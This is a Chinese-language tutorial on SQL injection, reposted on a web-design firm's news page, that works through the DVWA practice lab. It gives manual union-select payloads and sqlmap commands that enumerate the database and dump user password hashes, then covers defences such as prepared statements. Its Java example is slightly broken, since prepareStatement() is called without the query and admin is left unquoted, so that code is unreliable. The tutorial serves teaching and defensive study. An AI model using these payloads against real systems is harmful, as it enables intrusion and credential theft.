新聞中心
[[398140]]

成都創(chuàng)新互聯(lián)是一家專(zhuān)業(yè)提供共和企業(yè)網(wǎng)站建設(shè),專(zhuān)注與網(wǎng)站設(shè)計(jì)、成都做網(wǎng)站、HTML5、小程序制作等業(yè)務(wù)。10年已為共和眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專(zhuān)業(yè)網(wǎng)站設(shè)計(jì)公司優(yōu)惠進(jìn)行中。
幾乎所有 Web 應(yīng)用程序都依賴(lài)數(shù)據(jù)庫(kù)來(lái)管理在應(yīng)用程序中處理的數(shù)據(jù)。在許多情況下,這些數(shù)據(jù)負(fù)責(zé)處理核心應(yīng)用程序邏輯,保存用戶賬戶、權(quán)限、應(yīng)用程序配置設(shè)置等。大多數(shù)數(shù)據(jù)庫(kù)都保存有結(jié)構(gòu)化、可以使用預(yù)先定義的查詢格式或語(yǔ)言訪問(wèn)的數(shù)據(jù),并包含內(nèi)部邏輯來(lái)管理這些數(shù)據(jù)。本文介紹SQL注入攻擊如何利用語(yǔ)言的漏洞來(lái)獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
1. 原理
首先,SQL語(yǔ)言是一門(mén)解釋型語(yǔ)言。所謂的解釋型語(yǔ)言就是一種在運(yùn)行時(shí)由一個(gè)運(yùn)行時(shí)組件(runtime component)解釋語(yǔ)言代碼并執(zhí)行其中指令的語(yǔ)言。與之相對(duì)的還有編譯型語(yǔ)言,它的代碼在生成時(shí)轉(zhuǎn)換成機(jī)器指令,然后在運(yùn)行時(shí)直接由使用該語(yǔ)言的計(jì)算機(jī)處理器執(zhí)行這些指令。
從理論上講,任何語(yǔ)言都可以使用編譯器或解釋器來(lái)執(zhí)行,這種區(qū)別并不是語(yǔ)言本身的內(nèi)在特性。但大多數(shù)語(yǔ)言僅通過(guò)上述一種方法來(lái)執(zhí)行,SQL語(yǔ)言就是這樣。
基于解釋型語(yǔ)言的執(zhí)行方式,會(huì)產(chǎn)生一系列叫作代碼注入的漏洞,SQL注入就是其中的一種。在任何實(shí)際用途的Web應(yīng)用程序都會(huì)有用戶交互環(huán)節(jié),會(huì)收到用戶提交的數(shù)據(jù),對(duì)其進(jìn)行處理并執(zhí)行相應(yīng)的操作。因此,解釋器處理的數(shù)據(jù)其實(shí)是由程序員編寫(xiě)的SQL語(yǔ)句代碼和用戶提交的數(shù)據(jù)共同組成的。在這個(gè)時(shí)候,攻擊者可以提交專(zhuān)門(mén)設(shè)計(jì)過(guò)的 SQL 語(yǔ)句,向Web應(yīng)用程序攻擊。結(jié)果,解釋器就會(huì)將這其中一部分的輸入解釋成程序指令執(zhí)行,就像一開(kāi)始程序員編寫(xiě)的代碼一樣。因此,SQL注入漏洞就隨之形成了。
除了語(yǔ)言本身的原因,SQL注入產(chǎn)生的另一個(gè)原因就是未過(guò)濾問(wèn)題。在編寫(xiě)Web應(yīng)用時(shí),由于其自主訪問(wèn)控制的性質(zhì),程序員往往會(huì)對(duì)用戶輸入的信息進(jìn)行一定程度上的過(guò)濾操作,過(guò)濾掉一些危險(xiǎn)的字符,如or、單引號(hào)、注釋符等。但往往有些經(jīng)驗(yàn)不足的程序員會(huì)忽視這一問(wèn)題,只是進(jìn)行簡(jiǎn)單的過(guò)濾,從而讓攻擊者有機(jī)可乘。
SQL注入漏洞存在時(shí)間非常久,在Web應(yīng)用高速發(fā)展的今天,已經(jīng)很難見(jiàn)到SQL注入漏洞了。但是學(xué)習(xí)的目的在于了解其根本以及如何防范這種漏洞的產(chǎn)生。
2. 注入分類(lèi)
接下來(lái)了解一下具體的SQL實(shí)施與分類(lèi)。
在實(shí)戰(zhàn)中,主要會(huì)接觸到3個(gè)不同類(lèi)型的注入點(diǎn),它們分別是數(shù)字型、字符型和搜索型。在編寫(xiě)實(shí)際的Web應(yīng)用程序時(shí),程序員會(huì)根據(jù)不同的數(shù)據(jù)類(lèi)型,編寫(xiě)不同的查詢代碼如下。
- “?”表示需要輸入的數(shù)據(jù)。
- 數(shù)字型:SELECT * FROM user WHERE id=?
- 字符型:SELECT * FROM user WHERE username=‘?’
- 搜索型:SELECT * FROM user WHERE username=‘% ? %’
每個(gè)類(lèi)型在輸入數(shù)據(jù)的時(shí)候,對(duì)數(shù)據(jù)做了一定的規(guī)范,因此,才產(chǎn)生了這樣的劃分,我們會(huì)在接下來(lái)的實(shí)例介紹中重點(diǎn)去區(qū)分?jǐn)?shù)字型與字符型。要提前申明一點(diǎn),雖然這里將注入點(diǎn)劃分了一定的類(lèi)型,但是注入的步驟與原理都是一致的,因此,這種區(qū)分只是從數(shù)據(jù)角度去劃分的。
接下來(lái)將對(duì)SQL注入執(zhí)行的步驟進(jìn)行實(shí)例分析,在整個(gè)分析過(guò)程中,我們會(huì)將數(shù)字型與字符型細(xì)分開(kāi)來(lái),并且會(huì)先對(duì)手工SQL注入進(jìn)行剖析,然后再教大家去使用工具。對(duì)于從事安全的人員來(lái)說(shuō),工具只是實(shí)現(xiàn)滲透的一種手段,不能過(guò)多依賴(lài)于工具的操作。工具也是安全人員為了簡(jiǎn)化步驟而編寫(xiě)出來(lái)的。對(duì)于剛剛接觸安全的人來(lái)說(shuō),工具會(huì)更方便,了解原理才能真正掌握了這個(gè)漏洞。
在DVWA中的SQL Injection,在其中輸入框中輸入1,然后提交,如圖1所示。
圖1 ID:1
這里要先對(duì)注入點(diǎn)的類(lèi)型進(jìn)行判斷,按照一般的步驟,輸入數(shù)字時(shí)會(huì)先考慮這是一個(gè)數(shù)字型的注入點(diǎn),所以會(huì)先按照數(shù)字型的方式操作注入點(diǎn)。
在其中輸入1 and 1=1,如圖2所示。
圖2 1D:1 and 1=1
在圖2中,我們可以看到ID的數(shù)據(jù)變成了 1 and 1=1,很明顯,這里的ID是一個(gè)字符型。所以對(duì)注入點(diǎn)類(lèi)型的判斷是字符型。
接下來(lái)判斷該注入點(diǎn)是否有效。因?yàn)樵趯?shí)際操作中,某些應(yīng)用程序雖然允許此類(lèi)輸入操作的發(fā)生,但是它會(huì)在內(nèi)部邏輯中過(guò)濾掉該部分??梢酝ㄟ^(guò)一個(gè)經(jīng)典的操作來(lái)判斷注入點(diǎn)是否有效。
在其中輸入1’and‘1’=’1時(shí),如圖3所示。
圖3 ID:1’and‘1’=’1
之后再輸入 1’and‘1’=’2,如圖4所示。
圖4 ID:1’and‘1’=’2
這里會(huì)出現(xiàn)兩種不同的結(jié)果,而這兩種結(jié)果證明這個(gè)注入點(diǎn)是有效的。and 1=1 是一個(gè)永真命題,and后面的條件永遠(yuǎn)成立,而and 1=2正好相反,1=2是一個(gè)永假命題,and后面的條件不成立。對(duì)于Web應(yīng)用來(lái)說(shuō),在條件不成立的情況下也不會(huì)將結(jié)果返回給用戶,所以在圖4中看不到數(shù)據(jù)。
前面的操作是SQL注入點(diǎn)判斷的基本操作。后續(xù)對(duì)于不同的數(shù)據(jù)庫(kù)有不同的操作。數(shù)據(jù)庫(kù)大致可以分成Access數(shù)據(jù)庫(kù)、MySQL數(shù)據(jù)庫(kù)、SQLServer數(shù)據(jù)庫(kù)、Oracle數(shù)據(jù)庫(kù)等。Access數(shù)據(jù)庫(kù)是比較早期應(yīng)用于Web應(yīng)用的數(shù)據(jù)庫(kù)。早期的Web應(yīng)用主要以顯示大量文本數(shù)據(jù)的靜態(tài)網(wǎng)頁(yè)組成。但是,近幾年Access數(shù)據(jù)庫(kù)的使用逐漸減小,因?yàn)樗荒苓m應(yīng)大量用戶的訪問(wèn),并且安全性沒(méi)有其他數(shù)據(jù)庫(kù)高。而現(xiàn)在使用較多的是MySQL數(shù)據(jù)庫(kù)。SQL Server和Oracle在大型公司比較適用。
MySQL 數(shù)據(jù)庫(kù)允許使用聯(lián)合查詢的方式,這樣查詢更加便捷。接下來(lái),我們繼續(xù)剛才的操作,判斷完注入點(diǎn)之后,需要判斷該數(shù)據(jù)表存在的列數(shù),輸入1’order by 1#,如圖5所示。
圖5 ID:1’order by 1#
order by是根據(jù)列值查找的命令,#起到的作用是注釋?zhuān)乐购罄m(xù)語(yǔ)句的干擾??梢岳^續(xù)嘗試輸入:
- 1’order by 6 #
運(yùn)行結(jié)果,如圖6所示。
圖6 列值查找
它會(huì)顯示錯(cuò)誤,找不到列值為6的列。這是因?yàn)樵摫碇胁淮嬖?列,按照這個(gè)步驟,可以從1開(kāi)始,逐步往上增加,直到出現(xiàn)一個(gè)數(shù)報(bào)錯(cuò)為止,這樣,就可以知道該表中具體有多少列,當(dāng)然,DVWA經(jīng)過(guò)測(cè)試可以知道一共有2列。
知道列數(shù)之后,我們要看 MySQL 數(shù)據(jù)庫(kù)的版本,因?yàn)?MySQL5.0 以后的版本具有information_schema數(shù)據(jù)庫(kù),里面存有所有數(shù)據(jù)庫(kù)的數(shù)據(jù)表名和列名,如圖7所示。
圖7 information_schema數(shù)據(jù)庫(kù)
利用這個(gè)數(shù)據(jù)庫(kù)來(lái)進(jìn)行數(shù)據(jù)的檢索,所以在此之前需要查看該應(yīng)用使用的MySQL數(shù)據(jù)庫(kù)版本,輸入:
- 1’union select version(),2 #
提交結(jié)果,如圖8所示。
圖8 查看版本
可以看到數(shù)據(jù)庫(kù)的版本是 5.0.51a-3ubuntu5,知道了版本之后,就可以使用information_shchema來(lái)完成后續(xù)的操作。輸入:
- 1' union select table_name,2 from information_schema.tables where table_schema=database()#
提交結(jié)果,如圖9所示。
圖9 查看表名
可以看到,圖中顯示出來(lái)兩個(gè)表名。然后再來(lái)理解上面輸入的語(yǔ)句,information_schema數(shù)據(jù)庫(kù)中含有 tables 這個(gè)數(shù)據(jù)表,條件是表數(shù)據(jù)庫(kù)名與 database()相同,而 database()正是當(dāng)前查詢的數(shù)據(jù)庫(kù)。
然后查詢列名,輸入:
- 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
運(yùn)行結(jié)果,如圖10所示。
圖10 查看列名
一共可以看到6個(gè)列名,輸入語(yǔ)句其實(shí)與上面那句類(lèi)似,就是找到這個(gè)數(shù)據(jù)表中的列名。有了這些數(shù)據(jù),就可以列出想要的數(shù)據(jù)了,輸入:
- 1' union select user,password from users#
運(yùn)行結(jié)果,如圖11所示。
圖11 列出數(shù)據(jù)
這里的密碼是使用MD5加密的,可以利用工具在線解密。
3. SQL注入工具
SQL注入工具有很多,比較好用的有Pangolin和SQLMap工具。這兩個(gè)工具對(duì)于初學(xué)者來(lái)說(shuō),上手難度不大。
Pangolin 是一款幫助滲透測(cè)試人員進(jìn)行 SQL 注入(SQL Injeciton)測(cè)試的安全工具。Pangolin與JSky(Web應(yīng)用安全漏洞掃描器、Web應(yīng)用安全評(píng)估工具)都是NOSEC公司的產(chǎn)品。Pangolin具備友好的圖形界面并支持測(cè)試幾乎所有數(shù)據(jù)庫(kù)(Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite)。Pangolin能夠通過(guò)一系列非常簡(jiǎn)單的操作,達(dá)到最大化的攻擊測(cè)試效果。它從檢測(cè)注入開(kāi)始到最后控制目標(biāo)系統(tǒng),都給出了測(cè)試步驟。Pangolin是目前國(guó)內(nèi)使用率最高的SQL注入測(cè)試的安全軟件。
SQLMap 是一個(gè)自動(dòng)SQL注入工具,其可執(zhí)行一個(gè)廣泛的數(shù)據(jù)庫(kù),管理系統(tǒng)后端指紋,檢索DBMS數(shù)據(jù)庫(kù)、usernames、表格、列,并列舉整個(gè)DBMS信息。SQLMap提供轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)表以及MySQL、PostgreSQL、SQL Server服務(wù)器下載或上傳任何文件并執(zhí)行任意代碼的能力。
在Windows命令行中輸入:
- >sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db
運(yùn)行結(jié)果,如圖12所示。
圖12 獲取數(shù)據(jù)庫(kù)名
這里可以看到數(shù)據(jù)庫(kù)的名稱(chēng)“dvwa”,之后輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa –tables
運(yùn)行結(jié)果,如圖13所示。
圖13 獲取數(shù)據(jù)庫(kù)表名
可以看到該數(shù)據(jù)庫(kù)中有兩個(gè)表,之后輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users –column
運(yùn)行結(jié)果,如圖14所示。
圖14 獲取數(shù)據(jù)庫(kù)列名
可以看到一共有6個(gè)列名,之后就dump數(shù)據(jù)就可以了。輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users-C user,password –dump
運(yùn)行結(jié)果,如圖15所示。
圖15 SQLMap運(yùn)行結(jié)果
SQLMap自帶字典可以來(lái)破譯比較弱的密碼。從操作上看,SQLMap是一款功能比較強(qiáng)大的自動(dòng)注入工具,但是在安全級(jí)別較高的應(yīng)用中,SQLMap的使用還是很有限的。
4. 預(yù)防SQL注入
對(duì)于服務(wù)器層面的防范,應(yīng)該保證生產(chǎn)環(huán)境的Webshell是關(guān)閉錯(cuò)誤信息的。例如,PHP生產(chǎn)環(huán)境的配置php.ini中的display_error是off,這樣就可以關(guān)閉服務(wù)器的錯(cuò)誤提示。另外可以從編碼方面去預(yù)防SQL注入。
使用預(yù)編譯語(yǔ)句,是防御SQL注入的最佳方式,就是使用預(yù)編譯語(yǔ)句綁定變量。例如,JSP中使用的預(yù)編譯的SQL語(yǔ)句:
- String sql=“SELECT * FROM users where username=?”;
- PreparedStatement pstmt=connection.prepareStatement();
- pstmt.setString(1,admin);
從上述代碼可以看到“?”處與后面輸入的變量相互綁定,之后攻擊者如果再使用and 1=1之類(lèi)的注入語(yǔ)句,應(yīng)用程序會(huì)將整個(gè)部分當(dāng)作是username來(lái)檢索數(shù)據(jù)庫(kù),并不會(huì)造成修改語(yǔ)義的問(wèn)題。對(duì)于有些無(wú)法使用預(yù)編譯的部分程序,還有其他方法可以預(yù)防。
檢查變量類(lèi)型和格式也是一個(gè)不錯(cuò)的方法。如果要求用戶輸入的數(shù)據(jù)是整型的,那么就可以在查詢數(shù)據(jù)庫(kù)之前檢查一下獲取到的變量是否為整型,如果不為整型就重新校正。還有一些特殊的格式類(lèi)型,如日期、時(shí)間、郵箱等格式??偟貋?lái)說(shuō),只要有固定格式的變量,在SQL語(yǔ)句執(zhí)行前,應(yīng)該嚴(yán)格按照格式去檢查,可以最大程度上預(yù)防SQL注入攻擊。
還有一種方法就是過(guò)濾掉特殊的符號(hào)。在SQL注入時(shí),往往需要一些特殊的符號(hào)幫助我們編寫(xiě)語(yǔ)句,如單引號(hào)(’)、井號(hào)(#)、雙引號(hào)(”)等。可以將這些符號(hào)都進(jìn)行轉(zhuǎn)義處理或使用正則表達(dá)式過(guò)濾掉。
除了編碼層面的預(yù)防,還需要做到數(shù)據(jù)庫(kù)層面的權(quán)限管理,盡量減少在數(shù)據(jù)庫(kù)中使用Root權(quán)限直接查詢的次數(shù)。如果有多個(gè)應(yīng)用程序使用同一個(gè)數(shù)據(jù)庫(kù),那么數(shù)據(jù)庫(kù)應(yīng)該分配好每個(gè)應(yīng)用程序的權(quán)限。
網(wǎng)站名稱(chēng):網(wǎng)絡(luò)安全攻防:Web安全之SQL注入
本文鏈接:http://m.fisionsoft.com.cn/article/djpojhs.html


咨詢
建站咨詢
